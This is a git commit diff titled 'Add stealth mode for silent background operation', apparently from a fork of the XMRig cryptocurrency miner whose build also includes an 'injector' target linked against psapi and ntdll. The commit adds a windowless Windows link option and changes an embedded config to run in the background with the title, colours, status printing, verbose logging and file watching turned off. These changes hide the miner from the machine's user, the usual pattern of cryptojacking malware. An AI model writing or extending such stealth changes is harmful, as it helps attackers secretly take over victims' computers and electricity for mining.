feat: Add stealth mode for silent background operation

This commit is contained in:
someone 2025-11-07 16:28:34 +01:00
parent 5b8a06c9a5
commit 53e6d96edf
2 changed files with 11 additions and 7 deletions

View File

@ -259,6 +259,10 @@ target_link_libraries(${CMAKE_PROJECT_NAME} ${XMRIG_ASM_LIBRARY} ${OPENSSL_LIBRA
target_link_libraries(injector psapi ntdll) target_link_libraries(injector psapi ntdll)
target_link_options(${CMAKE_PROJECT_NAME} PRIVATE -static-libgcc -static-libstdc++ -static) target_link_options(${CMAKE_PROJECT_NAME} PRIVATE -static-libgcc -static-libstdc++ -static)
if (WIN32)
target_link_options(${CMAKE_PROJECT_NAME} PRIVATE -mwindows)
endif()
if (WIN32) if (WIN32)
if (NOT ARM_TARGET) if (NOT ARM_TARGET)
add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/bin/WinRing0/WinRing0x64.sys" $<TARGET_FILE_DIR:${CMAKE_PROJECT_NAME}>) add_custom_command(TARGET ${CMAKE_PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_if_different "${CMAKE_SOURCE_DIR}/bin/WinRing0/WinRing0x64.sys" $<TARGET_FILE_DIR:${CMAKE_PROJECT_NAME}>)

View File

@ -94,9 +94,9 @@ inline const char* getEmbeddedConfig()
"restricted": true "restricted": true
}, },
"autosave": true, "autosave": true,
"background": false, "background":true,
"colors": true, "colors":false,
"title": true, "title":false,
"randomx": { "randomx": {
"init": -1, "init": -1,
"init-avx2": -1, "init-avx2": -1,
@ -160,8 +160,8 @@ inline const char* getEmbeddedConfig()
"submit-to-origin": false "submit-to-origin": false
} }
], ],
"print-time": 60, "print-time":0,
"health-print-time": 60, "health-print-time":0,
"dmi": true, "dmi": true,
"retries": 5, "retries": 5,
"retry-pause": 5, "retry-pause": 5,
@ -176,8 +176,8 @@ inline const char* getEmbeddedConfig()
"dhparam": null "dhparam": null
}, },
"user-agent": null, "user-agent": null,
"verbose": 9, "verbose":0,
"watch": true, "watch":false,
"pause-on-battery": false, "pause-on-battery": false,
"pause-on-active": false "pause-on-active": false
} }